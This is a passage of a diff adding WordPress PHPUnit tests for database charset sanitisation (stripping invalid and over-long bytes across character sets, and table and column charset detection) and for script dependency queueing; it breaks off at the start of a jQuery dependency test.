+				'value'    => str_repeat( 'A', 11 ),
+				'expected' => str_repeat( 'A', 10 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'ascii_byte_length' => array(
+				// ascii gets special treatment, make sure it's covered
+				'charset'  => 'ascii',
+				'value'    => str_repeat( 'A', 11 ),
+				'expected' => str_repeat( 'A', 10 ),
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'utf8' => array(
+				// utf8 only allows <= 3-byte chars
+				'charset'  => 'utf8',
+				'value'    => "H€llo\xf0\x9f\x98\x88World¢",
+				'expected' => 'H€lloWorld¢',
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'utf8_23char_length' => array(
+				// utf8 only allows <= 3-byte chars
+				'charset'  => 'utf8',
+				'value'    => str_repeat( "²３", 10 ),
+				'expected' => str_repeat( "²３", 5 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'utf8_23byte_length' => array(
+				// utf8 only allows <= 3-byte chars
+				'charset'  => 'utf8',
+				'value'    => str_repeat( "²３", 10 ),
+				'expected' => "²３²３",
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'utf8_3char_length' => array(
+				// utf8 only allows <= 3-byte chars
+				'charset'  => 'utf8',
+				'value'    => str_repeat( "３", 11 ),
+				'expected' => str_repeat( "３", 10 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'utf8_3byte_length' => array(
+				// utf8 only allows <= 3-byte chars
+				'charset'  => 'utf8',
+				'value'    => str_repeat( "３", 11 ),
+				'expected' => "３３３",
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'utf8mb3' => array(
+				// utf8mb3 should behave the same an utf8
+				'charset'  => 'utf8mb3',
+				'value'    => "H€llo\xf0\x9f\x98\x88World¢",
+				'expected' => 'H€lloWorld¢',
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'utf8mb3_23char_length' => array(
+				// utf8mb3 should behave the same an utf8
+				'charset'  => 'utf8mb3',
+				'value'    => str_repeat( "²３", 10 ),
+				'expected' => str_repeat( "²３", 5 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'utf8mb3_23byte_length' => array(
+				// utf8mb3 should behave the same an utf8
+				'charset'  => 'utf8mb3',
+				'value'    => str_repeat( "²３", 10 ),
+				'expected' => "²３²３",
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'utf8mb3_3char_length' => array(
+				// utf8mb3 should behave the same an utf8
+				'charset'  => 'utf8mb3',
+				'value'    => str_repeat( "３", 11 ),
+				'expected' => str_repeat( "３", 10 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'utf8mb3_3byte_length' => array(
+				// utf8mb3 should behave the same an utf8
+				'charset'  => 'utf8mb3',
+				'value'    => str_repeat( "３", 10 ),
+				'expected' => "３３３",
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'utf8mb4' => array(
+				// utf8mb4 allows 4-byte characters, too
+				'charset'  => 'utf8mb4',
+				'value'    => "H€llo\xf0\x9f\x98\x88World¢",
+				'expected' => "H€llo\xf0\x9f\x98\x88World¢",
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'utf8mb4_234char_length' => array(
+				// utf8mb4 allows 4-byte characters, too
+				'charset'  => 'utf8mb4',
+				'value'    => str_repeat( "²３𝟜", 10 ),
+				'expected' => "²３𝟜²３𝟜²３𝟜²",
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'utf8mb4_234byte_length' => array(
+				// utf8mb4 allows 4-byte characters, too
+				'charset'  => 'utf8mb4',
+				'value'    => str_repeat( "²３𝟜", 10 ),
+				'expected' => "²３𝟜",
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'utf8mb4_4char_length' => array(
+				// utf8mb4 allows 4-byte characters, too
+				'charset'  => 'utf8mb4',
+				'value'    => str_repeat( "𝟜", 11 ),
+				'expected' => str_repeat( "𝟜", 10 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'utf8mb4_4byte_length' => array(
+				// utf8mb4 allows 4-byte characters, too
+				'charset'  => 'utf8mb4',
+				'value'    => str_repeat( "𝟜", 10 ),
+				'expected' => "𝟜𝟜",
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'koi8r' => array(
+				'charset'  => 'koi8r',
+				'value'    => "\xfdord\xf2ress",
+				'expected' => "\xfdord\xf2ress",
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'koi8r_char_length' => array(
+				'charset'  => 'koi8r',
+				'value'    => str_repeat( "\xfd\xf2", 10 ),
+				'expected' => str_repeat( "\xfd\xf2", 5 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'koi8r_byte_length' => array(
+				'charset'  => 'koi8r',
+				'value'    => str_repeat( "\xfd\xf2", 10 ),
+				'expected' => str_repeat( "\xfd\xf2", 5 ),
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'hebrew' => array(
+				'charset'  => 'hebrew',
+				'value'    => "\xf9ord\xf7ress",
+				'expected' => "\xf9ord\xf7ress",
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'hebrew_char_length' => array(
+				'charset'  => 'hebrew',
+				'value'    => str_repeat( "\xf9\xf7", 10 ),
+				'expected' => str_repeat( "\xf9\xf7", 5 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'hebrew_byte_length' => array(
+				'charset'  => 'hebrew',
+				'value'    => str_repeat( "\xf9\xf7", 10 ),
+				'expected' => str_repeat( "\xf9\xf7", 5 ),
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'cp1251' => array(
+				'charset'  => 'cp1251',
+				'value'    => "\xd8ord\xd0ress",
+				'expected' => "\xd8ord\xd0ress",
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'cp1251_char_length' => array(
+				'charset'  => 'cp1251',
+				'value'    => str_repeat( "\xd8\xd0", 10 ),
+				'expected' => str_repeat( "\xd8\xd0", 5 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'cp1251_byte_length' => array(
+				'charset'  => 'cp1251',
+				'value'    => str_repeat( "\xd8\xd0", 10 ),
+				'expected' => str_repeat( "\xd8\xd0", 5 ),
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'tis620' => array(
+				'charset'  => 'tis620',
+				'value'    => "\xccord\xe3ress",
+				'expected' => "\xccord\xe3ress",
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'tis620_char_length' => array(
+				'charset'  => 'tis620',
+				'value'    => str_repeat( "\xcc\xe3", 10 ),
+				'expected' => str_repeat( "\xcc\xe3", 5 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'tis620_byte_length' => array(
+				'charset'  => 'tis620',
+				'value'    => str_repeat( "\xcc\xe3", 10 ),
+				'expected' => str_repeat( "\xcc\xe3", 5 ),
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'false' => array(
+				// false is a column with no character set (ie, a number column)
+				'charset'  => false,
+				'value'    => 100,
+				'expected' => 100,
+				'length'   => false,
+			),
+		);
+
+		if ( function_exists( 'mb_convert_encoding' ) ) {
+			// big5 is a non-Unicode multibyte charset
+			$utf8 = "a\xe5\x85\xb1b"; // UTF-8 Character 20849
+			$big5 = mb_convert_encoding( $utf8, 'BIG-5', 'UTF-8' );
+			$conv_utf8 = mb_convert_encoding( $big5, 'UTF-8', 'BIG-5' );
+			// Make sure PHP's multibyte conversions are working correctly
+			$this->assertNotEquals( $utf8, $big5 );
+			$this->assertEquals( $utf8, $conv_utf8 );
+
+			$fields['big5'] = array(
+				'charset'  => 'big5',
+				'value'    => $big5,
+				'expected' => $big5,
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			);
+
+			$fields['big5_char_length'] = array(
+				'charset'  => 'big5',
+				'value'    => str_repeat( $big5, 10 ),
+				'expected' => str_repeat( $big5, 3 ) . 'a',
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			);
+
+			$fields['big5_byte_length'] = array(
+				'charset'  => 'big5',
+				'value'    => str_repeat( $big5, 10 ),
+				'expected' => str_repeat( $big5, 2 ) . 'a',
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			);
+		}
+
+		// The data above is easy to edit. Now, prepare it for the data provider.
+		$data_provider = $multiple = $multiple_expected = array();
+		foreach ( $fields as $test_case => $field ) {
+			$expected = $field;
+			$expected['value'] = $expected['expected'];
+			unset( $expected['expected'], $field['expected'] );
+
+			// We're keeping track of these for our multiple-field test.
+			$multiple[] = $field;
+			$multiple_expected[] = $expected;
+
+			// strip_invalid_text() expects an array of fields. We're testing one field at a time.
+			$data = array( $field );
+			$expected = array( $expected );
+
+			// First argument is field data. Second is expected. Third is the message.
+			$data_provider[] = array( $data, $expected, $test_case );
+		}
+
+		// Time for our test of multiple fields at once.
+		$data_provider[] = array( $multiple, $multiple_expected, 'multiple fields/charsets' );
+
+		return $data_provider;
+	}
+
+	/**
+	 * @dataProvider data_strip_invalid_text
+	 * @ticket 21212
+	 */
+	function test_strip_invalid_text( $data, $expected, $message ) {
+		$actual = self::$_wpdb->strip_invalid_text( $data );
+		$this->assertSame( $expected, $actual, $message );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_process_fields_failure() {
+		global $wpdb;
+
+		$charset = $wpdb->get_col_charset( $wpdb->posts, 'post_content' );
+		if ( 'utf8' !== $charset && 'utf8mb4' !== $charset ) {
+			$this->markTestSkipped( 'This test requires a utf8 character set' );
+		}
+
+		// \xf0\xff\xff\xff is invalid in utf8 and utf8mb4.
+		$data = array( 'post_content' => "H€llo\xf0\xff\xff\xffWorld¢" );
+		$this->assertFalse( self::$_wpdb->process_fields( $wpdb->posts, $data, null ) );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_process_field_charsets() {
+		if ( $GLOBALS['wpdb']->charset ) {
+			$charset = $GLOBALS['wpdb']->charset;
+		} else {
+			$charset = $GLOBALS['wpdb']->get_col_charset( $GLOBALS['wpdb']->posts, 'post_content' );
+		}
+
+		// 'value' and 'format' are $data, 'charset' ends up as part of $expected
+
+		$no_string_fields = array(
+			'post_parent' => array( 'value' => 10, 'format' => '%d', 'charset' => false ),
+			'comment_count' => array( 'value' => 0, 'format' => '%d', 'charset' => false ),
+		);
+
+		$all_ascii_fields = array(
+			'post_content' => array( 'value' => 'foo foo foo!', 'format' => '%s', 'charset' => $charset ),
+			'post_excerpt' => array( 'value' => 'bar bar bar!', 'format' => '%s', 'charset' => $charset ),
+		);
+
+		// This is the same data used in process_field_charsets_for_nonexistent_table()
+		$non_ascii_string_fields = array(
+			'post_content' => array( 'value' => '¡foo foo foo!', 'format' => '%s', 'charset' => $charset ),
+			'post_excerpt' => array( 'value' => '¡bar bar bar!', 'format' => '%s', 'charset' => $charset ),
+		);
+
+		$vars = get_defined_vars();
+		unset( $vars['charset'] );
+		foreach ( $vars as $var_name => $var ) {
+			$data = $expected = $var;
+			foreach ( $data as &$datum ) {
+				// 'charset' and 'ascii' are part of the expected return only.
+				unset( $datum['charset'], $datum['ascii'] );
+			}
+
+			$vars[ $var_name ] = array( $data, $expected, $var_name );
+		}
+
+		return array_values( $vars );
+	}
+
+	/**
+	 * @dataProvider data_process_field_charsets
+	 * @ticket 21212
+	 */
+	function test_process_field_charsets( $data, $expected, $message ) {
+		$actual = self::$_wpdb->process_field_charsets( $data, $GLOBALS['wpdb']->posts );
+		$this->assertSame( $expected, $actual, $message );
+	}
+
+	/**
+	 * The test this test depends on first verifies that this
+	 * would normally work against the posts table.
+	 *
+	 * @ticket 21212
+	 * @depends test_process_field_charsets
+	 */
+	function test_process_field_charsets_on_nonexistent_table() {
+		$data = array( 'post_content' => array( 'value' => '¡foo foo foo!', 'format' => '%s' ) );
+		self::$_wpdb->suppress_errors( true );
+		$this->assertFalse( self::$_wpdb->process_field_charsets( $data, 'nonexistent_table' ) );
+		self::$_wpdb->suppress_errors( false );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_check_ascii() {
+		$ascii = "\0\t\n\r '" . '!"#$%&()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~';
+		$this->assertTrue( self::$_wpdb->check_ascii( $ascii ) );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_check_ascii_false() {
+		$this->assertFalse( self::$_wpdb->check_ascii( 'ABCDEFGHIJKLMNOPQRSTUVWXYZ¡©«' ) );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_strip_invalid_text_for_column() {
+		global $wpdb;
+
+		$charset = $wpdb->get_col_charset( $wpdb->posts, 'post_content' );
+		if ( 'utf8' !== $charset && 'utf8mb4' !== $charset ) {
+			$this->markTestSkipped( 'This test requires a utf8 character set' );
+		}
+
+		// Invalid 3-byte and 4-byte sequences
+		$value = "H€llo\xe0\x80\x80World\xf0\xff\xff\xff¢";
+		$expected = "H€lloWorld¢";
+		$actual = $wpdb->strip_invalid_text_for_column( $wpdb->posts, 'post_content', $value );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	/**
+	 * Set of table definitions for testing wpdb::get_table_charset and wpdb::get_column_charset
+	 * @var array
+	 */
+	protected $table_and_column_defs = array(
+		array(
+			'definition'      => '( a INT, b FLOAT )',
+			'table_expected'  => false,
+			'column_expected' => array( 'a' => false, 'b' => false )
+		),
+		array(
+			'definition'      => '( a VARCHAR(50) CHARACTER SET big5, b TEXT CHARACTER SET big5 )',
+			'table_expected'  => 'big5',
+			'column_expected' => array( 'a' => 'big5', 'b' => 'big5' )
+		),
+		array(
+			'definition'      => '( a VARCHAR(50) CHARACTER SET big5, b BINARY )',
+			'table_expected'  => 'binary',
+			'column_expected' => array( 'a' => 'big5', 'b' => false )
+		),
+		array(
+			'definition'      => '( a VARCHAR(50) CHARACTER SET latin1, b BLOB )',
+			'table_expected'  => 'binary',
+			'column_expected' => array( 'a' => 'latin1', 'b' => false )
+		),
+		array(
+			'definition'      => '( a VARCHAR(50) CHARACTER SET latin1, b TEXT CHARACTER SET koi8r )',
+			'table_expected'  => 'koi8r',
+			'column_expected' => array( 'a' => 'latin1', 'b' => 'koi8r' )
+		),
+		array(
+			'definition'      => '( a VARCHAR(50) CHARACTER SET utf8mb3, b TEXT CHARACTER SET utf8mb3 )',
+			'table_expected'  => 'utf8',
+			'column_expected' => array( 'a' => 'utf8', 'b' => 'utf8' )
+		),
+		array(
+			'definition'      => '( a VARCHAR(50) CHARACTER SET utf8, b TEXT CHARACTER SET utf8mb4 )',
+			'table_expected'  => 'utf8',
+			'column_expected' => array( 'a' => 'utf8', 'b' => 'utf8mb4' )
+		),
+		array(
+			'definition'      => '( a VARCHAR(50) CHARACTER SET big5, b TEXT CHARACTER SET koi8r )',
+			'table_expected'  => 'ascii',
+			'column_expected' => array( 'a' => 'big5', 'b' => 'koi8r' )
+		),
+	);
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_test_get_table_charset() {
+		$table_name = 'test_get_table_charset';
+
+		$vars = array();
+		foreach( $this->table_and_column_defs as $value ) {
+			$this_table_name = $table_name . '_' . rand_str( 5 );
+			$drop = "DROP TABLE IF EXISTS $this_table_name";
+			$create = "CREATE TABLE $this_table_name {$value['definition']}";
+			$vars[] = array( $drop, $create, $this_table_name, $value['table_expected'] );
+		}
+
+		return $vars;
+	}
+
+	/**
+	 * @dataProvider data_test_get_table_charset
+	 * @ticket 21212
+	 */
+	function test_get_table_charset( $drop, $create, $table, $expected_charset ) {
+		self::$_wpdb->query( $drop );
+
+		if ( ! self::$_wpdb->has_cap( 'utf8mb4' ) && preg_match( '/utf8mb[34]/i', $create ) ) {
+			$this->markTestSkipped( "This version of MySQL doesn't support utf8mb4." );
+			return;
+		}
+
+		self::$_wpdb->query( $create );
+
+		$charset = self::$_wpdb->get_table_charset( $table );
+		$this->assertEquals( $charset, $expected_charset );
+
+		$charset = self::$_wpdb->get_table_charset( strtoupper( $table ) );
+		$this->assertEquals( $charset, $expected_charset );
+
+		self::$_wpdb->query( $drop );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_test_get_column_charset() {
+		$table_name = 'test_get_column_charset';
+
+		$vars = array();
+		foreach( $this->table_and_column_defs as $value ) {
+			$this_table_name = $table_name . '_' . rand_str( 5 );
+			$drop = "DROP TABLE IF EXISTS $this_table_name";
+			$create = "CREATE TABLE $this_table_name {$value['definition']}";
+			$vars[] = array( $drop, $create, $this_table_name, $value['column_expected'] );
+		}
+
+		return $vars;
+	}
+
+	/**
+	 * @dataProvider data_test_get_column_charset
+	 * @ticket 21212
+	 */
+	function test_get_column_charset( $drop, $create, $table, $expected_charset ) {
+		self::$_wpdb->query( $drop );
+
+		if ( ! self::$_wpdb->has_cap( 'utf8mb4' ) && preg_match( '/utf8mb[34]/i', $create ) ) {
+			$this->markTestSkipped( "This version of MySQL doesn't support utf8mb4." );
+			return;
+		}
+
+		self::$_wpdb->query( $create );
+
+		foreach ( $expected_charset as $column => $charset ) {
+			$this->assertEquals( $charset, self::$_wpdb->get_col_charset( $table, $column ) );
+			$this->assertEquals( $charset, self::$_wpdb->get_col_charset( strtoupper( $table ), strtoupper( $column ) ) );
+		}
+
+		self::$_wpdb->query( $drop );
+	}
+
+	/**
+	 * @dataProvider data_test_get_column_charset
+	 * @ticket 21212
+	 */
+	function test_get_column_charset_non_mysql( $drop, $create, $table, $columns ) {
+		self::$_wpdb->query( $drop );
+
+		if ( ! self::$_wpdb->has_cap( 'utf8mb4' ) && preg_match( '/utf8mb[34]/i', $create ) ) {
+			$this->markTestSkipped( "This version of MySQL doesn't support utf8mb4." );
+			return;
+		}
+
+		self::$_wpdb->is_mysql = false;
+
+		self::$_wpdb->query( $create );
+
+		$columns = array_keys( $columns );
+		foreach ( $columns as $column => $charset ) {
+			$this->assertEquals( false, self::$_wpdb->get_col_charset( $table, $column ) );
+		}
+
+		self::$_wpdb->query( $drop );
+
+		self::$_wpdb->is_mysql = true;
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_strip_invalid_text_from_query() {
+		$table_name = 'strip_invalid_text_from_query_table';
+		$data = array(
+			array(
+				// binary tables don't get stripped
+				"( a VARCHAR(50) CHARACTER SET utf8, b BINARY )", // create
+				"('foo\xf0\x9f\x98\x88bar', 'foo')",              // query
+				"('foo\xf0\x9f\x98\x88bar', 'foo')"               // expected result
+			),
+			array(
+				// utf8/utf8mb4 tables default to utf8
+				"( a VARCHAR(50) CHARACTER SET utf8, b VARCHAR(50) CHARACTER SET utf8mb4 )",
+				"('foo\xf0\x9f\x98\x88bar', 'foo')",
+				"('foobar', 'foo')"
+			),
+		);
+
+		foreach( $data as &$value ) {
+			$this_table_name = $table_name . '_' . rand_str( 5 );
+
+			$value[0] = "CREATE TABLE $this_table_name {$value[0]}";
+			$value[1] = "INSERT INTO $this_table_name VALUES {$value[1]}";
+			$value[2] = "INSERT INTO $this_table_name VALUES {$value[2]}";
+			$value[3] = "DROP TABLE IF EXISTS $this_table_name";
+		}
+		unset( $value );
+
+		return $data;
+	}
+
+	/**
+	 * @dataProvider data_strip_invalid_text_from_query
+	 * @ticket 21212
+	 */
+	function test_strip_invalid_text_from_query( $create, $query, $expected, $drop ) {
+		self::$_wpdb->query( $drop );
+
+		if ( ! self::$_wpdb->has_cap( 'utf8mb4' ) && preg_match( '/utf8mb[34]/i', $create ) ) {
+			$this->markTestSkipped( "This version of MySQL doesn't support utf8mb4." );
+			return;
+		}
+
+		self::$_wpdb->query( $create );
+
+		$return = self::$_wpdb->strip_invalid_text_from_query( $query );
+		$this->assertEquals( $expected, $return );
+
+		self::$_wpdb->query( $drop );
+	}
+
+	/**
+	 * @ticket 32104
+	 */
+	function data_dont_strip_text_from_schema_queries() {
+		// An obviously invalid and fake table name.
+		$table_name = "\xff\xff\xff\xff";
+
+		$queries = array(
+			"SHOW CREATE TABLE $table_name",
+			"DESCRIBE $table_name",
+			"DESC $table_name",
+			"EXPLAIN SELECT * FROM $table_name",
+			"CREATE $table_name( a VARCHAR(100))",
+		);
+
+		foreach ( $queries as &$query ) {
+			$query = array( $query );
+		}
+		unset( $query );
+
+		return $queries;
+	}
+
+	/**
+	 * @dataProvider data_dont_strip_text_from_schema_queries
+	 * @ticket 32104
+	 */
+	function test_dont_strip_text_from_schema_queries( $query ) {
+		$return = self::$_wpdb->strip_invalid_text_from_query( $query );
+		$this->assertEquals( $query, $return );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_invalid_characters_in_query() {
+		global $wpdb;
+
+		$charset = $wpdb->get_col_charset( $wpdb->posts, 'post_content' );
+		if ( 'utf8' !== $charset && 'utf8mb4' !== $charset ) {
+			$this->markTestSkipped( 'This test requires a utf8 character set' );
+		}
+
+		$this->assertFalse( $wpdb->query( "INSERT INTO {$wpdb->posts} (post_content) VALUES ('foo\xf0\xff\xff\xffbar')" ) );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_table_collation_check() {
+		$table_name = 'table_collation_check';
+		$data = array(
+			array(
+				// utf8_bin tables don't need extra sanity checking.
+				"( a VARCHAR(50) COLLATE utf8_bin )", // create
+				true                                  // expected result
+			),
+			array(
+				// Neither do utf8_general_ci tables.
+				"( a VARCHAR(50) COLLATE utf8_general_ci )",
+				true
+			),
+			array(
+				// utf8_unicode_ci tables do.
+				"( a VARCHAR(50) COLLATE utf8_unicode_ci )",
+				false
+			),
+			array(
+				// utf8_bin tables don't need extra sanity checking,
+				// except for when they're not just utf8_bin.
+				"( a VARCHAR(50) COLLATE utf8_bin, b VARCHAR(50) COLLATE big5_chinese_ci )",
+				false
+			),
+			array(
+				// utf8_bin tables don't need extra sanity checking
+				// when the other columns aren't strings.
+				"( a VARCHAR(50) COLLATE utf8_bin, b INT )",
+				true
+			),
+		);
+
+		foreach( $data as &$value ) {
+			$this_table_name = $table_name . '_' . rand_str( 5 );
+
+			$value[0] = "CREATE TABLE $this_table_name {$value[0]}";
+			$value[2] = "SELECT * FROM $this_table_name WHERE a='\xf0\x9f\x98\x88'";
+			$value[3] = "DROP TABLE IF EXISTS $this_table_name";
+			$value[4] = array(
+				"SELECT * FROM $this_table_name WHERE a='foo'",
+				"SHOW FULL TABLES LIKE $this_table_name",
+				"DESCRIBE $this_table_name",
+				"DESC $this_table_name",
+				"EXPLAIN SELECT * FROM $this_table_name",
+			);
+		}
+		unset( $value );
+
+		return $data;
+	}
+
+
+	/**
+	 * @dataProvider data_table_collation_check
+	 * @ticket 21212
+	 */
+	function test_table_collation_check( $create, $expected, $query, $drop, $always_true ) {
+		self::$_wpdb->query( $drop );
+
+		self::$_wpdb->query( $create );
+
+		$return = self::$_wpdb->check_safe_collation( $query );
+		$this->assertEquals( $expected, $return );
+
+		foreach( $always_true as $true_query ) {
+			$return = self::$_wpdb->check_safe_collation( $true_query );
+			$this->assertTrue( $return );
+		}
+
+		self::$_wpdb->query( $drop );
+	}
+
+	function test_strip_invalid_test_for_column_bails_if_ascii_input_too_long() {
+		global $wpdb;
+
+		// TEXT column
+		$stripped = $wpdb->strip_invalid_text_for_column( $wpdb->comments, 'comment_content', str_repeat( 'A', 65536 ) );
+		$this->assertEquals( 65535, strlen( $stripped ) );
+
+		// VARCHAR column
+		$stripped = $wpdb->strip_invalid_text_for_column( $wpdb->comments, 'comment_agent', str_repeat( 'A', 256 ) );
+		$this->assertEquals( 255, strlen( $stripped ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/dependencies.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/dependencies.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/dependencies.php	(revision 33402)
@@ -0,0 +1,139 @@
+<?php
+/**
+ * @group dependencies
+ * @group scripts
+ */
+class Tests_Dependencies extends WP_UnitTestCase {
+	function test_add() {
+		$dep = new WP_Dependencies;
+
+		$this->assertTrue($dep->add( 'one', '' ));
+		$this->assertTrue($dep->add( 'two', '' ));
+
+		$this->assertInstanceOf('_WP_Dependency', $dep->query( 'one' ));
+		$this->assertInstanceOf('_WP_Dependency', $dep->query( 'two' ));
+
+		//Cannot reuse names
+		$this->assertFalse($dep->add( 'one', '' ));
+	}
+
+	function test_remove() {
+		$dep = new WP_Dependencies;
+
+		$this->assertTrue($dep->add( 'one', '' ));
+		$this->assertTrue($dep->add( 'two', '' ));
+
+		$dep->remove( 'one' );
+
+		$this->assertFalse($dep->query( 'one'));
+		$this->assertInstanceOf('_WP_Dependency', $dep->query( 'two' ));
+
+	}
+
+	function test_enqueue() {
+		$dep = new WP_Dependencies;
+
+		$this->assertTrue($dep->add( 'one', '' ));
+		$this->assertTrue($dep->add( 'two', '' ));
+
+		$this->assertFalse($dep->query( 'one', 'queue' ));
+		$dep->enqueue('one');
+		$this->assertTrue($dep->query( 'one', 'queue' ));
+		$this->assertFalse($dep->query( 'two', 'queue' ));
+
+		$dep->enqueue('two');
+		$this->assertTrue($dep->query( 'one', 'queue' ));
+		$this->assertTrue($dep->query( 'two', 'queue' ));
+	}
+
+	function test_dequeue() {
+		$dep = new WP_Dependencies;
+
+		$this->assertTrue($dep->add( 'one', '' ));
+		$this->assertTrue($dep->add( 'two', '' ));
+
+		$dep->enqueue('one');
+		$dep->enqueue('two');
+		$this->assertTrue($dep->query( 'one', 'queue' ));
+		$this->assertTrue($dep->query( 'two', 'queue' ));
+
+		$dep->dequeue('one');
+		$this->assertFalse($dep->query( 'one', 'queue' ));
+		$this->assertTrue($dep->query( 'two', 'queue' ));
+
+		$dep->dequeue('two');
+		$this->assertFalse($dep->query( 'one', 'queue' ));
+		$this->assertFalse($dep->query( 'two', 'queue' ));
+	}
+
+	function test_enqueue_args() {
+		$dep = new WP_Dependencies;
+
+		$this->assertTrue($dep->add( 'one', '' ));
+		$this->assertTrue($dep->add( 'two', '' ));
+
+		$this->assertFalse($dep->query( 'one', 'queue' ));
+		$dep->enqueue('one?arg');
+		$this->assertTrue($dep->query( 'one', 'queue' ));
+		$this->assertFalse($dep->query( 'two', 'queue' ));
+		$this->assertEquals('arg', $dep->args['one']);
+
+		$dep->enqueue('two?arg');
+		$this->assertTrue($dep->query( 'one', 'queue' ));
+		$this->assertTrue($dep->query( 'two', 'queue' ));
+		$this->assertEquals('arg', $dep->args['two']);
+	}
+
+	function test_dequeue_args() {
+		$dep = new WP_Dependencies;
+
+		$this->assertTrue($dep->add( 'one', '' ));
+		$this->assertTrue($dep->add( 'two', '' ));
+
+		$dep->enqueue('one?arg');
+		$dep->enqueue('two?arg');
+		$this->assertTrue($dep->query( 'one', 'queue' ));
+		$this->assertTrue($dep->query( 'two', 'queue' ));
+		$this->assertEquals('arg', $dep->args['one']);
+		$this->assertEquals('arg', $dep->args['two']);
+
+		$dep->dequeue('one');
+		$this->assertFalse($dep->query( 'one', 'queue' ));
+		$this->assertTrue($dep->query( 'two', 'queue' ));
+		$this->assertFalse(isset($dep->args['one']));
+
+		$dep->dequeue('two');
+		$this->assertFalse($dep->query( 'one', 'queue' ));
+		$this->assertFalse($dep->query( 'two', 'queue' ));
+		$this->assertFalse(isset($dep->args['two']));
+	}
+
+	/**
+	 * @ticket 21741
+	 */
+	function test_query_and_registered_enqueued() {
+		$dep = new WP_Dependencies;
+
+		$this->assertTrue( $dep->add( 'one', '' ) );
+		$this->assertInstanceOf( '_WP_Dependency', $dep->query( 'one' ) );
+		$this->assertInstanceOf( '_WP_Dependency', $dep->query( 'one', 'registered' ) );
+		$this->assertInstanceOf( '_WP_Dependency', $dep->query( 'one', 'scripts' ) );
+
+		$this->assertFalse( $dep->query( 'one', 'enqueued' ) );
+		$this->assertFalse( $dep->query( 'one', 'queue' ) );
+
+		$dep->enqueue( 'one' );
+
+		$this->assertTrue( $dep->query( 'one', 'enqueued' ) );
+		$this->assertTrue( $dep->query( 'one', 'queue' ) );
+
+		$dep->dequeue( 'one' );
+
+		$this->assertFalse( $dep->query( 'one', 'queue' ) );
+		$this->assertInstanceOf( '_WP_Dependency', $dep->query( 'one' ) );
+
+		$dep->remove( 'one' );
+		$this->assertFalse( $dep->query( 'one' ) );
+
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/dependencies/jquery.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/dependencies/jquery.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/dependencies/jquery.php	(revision 33402)
@@ -0,0 +1,84 @@
+<?php
+
+/**
+ * @group dependencies
+ * @group scripts
+ */
+class Tests_Dependencies_jQuery extends WP_UnitTestCase {
+
+	function test_location_of_jquery() {
+		$scripts = new WP_Scripts;
+		wp_default_scripts( $scripts );
+
+		$jquery_scripts = array(
+			'jquery-core' => '/wp-includes/js/jquery/jquery.js',
+		);
+		if ( SCRIPT_DEBUG )
+			$jquery_scripts['jquery-migrate'] = '/wp-includes/js/jquery/jquery-migrate.js';
+		else
+			$jquery_scripts['jquery-migrate'] = '/wp-includes/js/jquery/jquery-migrate.min.js';
+
+		$object = $scripts->query( 'jquery', 'registered' );
+		$this->assertInstanceOf( '_WP_Dependency', $object );
+        $this->assertEqualSets( $object->deps, array_keys( $jquery_scripts ) );
+        foreach( $object->deps as $dep ) {
+            $o = $scripts->query( $dep, 'registered' );
+            $this->assertInstanceOf( '_WP_Dependency', $object );
+            $this->assertTrue( isset( $jquery_scripts[ $dep ] ) );
+            $this->assertEquals( $jquery_scripts[ $dep ], $o->src );
+        }
+	}
+
+	function test_presence_of_jquery_no_conflict() {
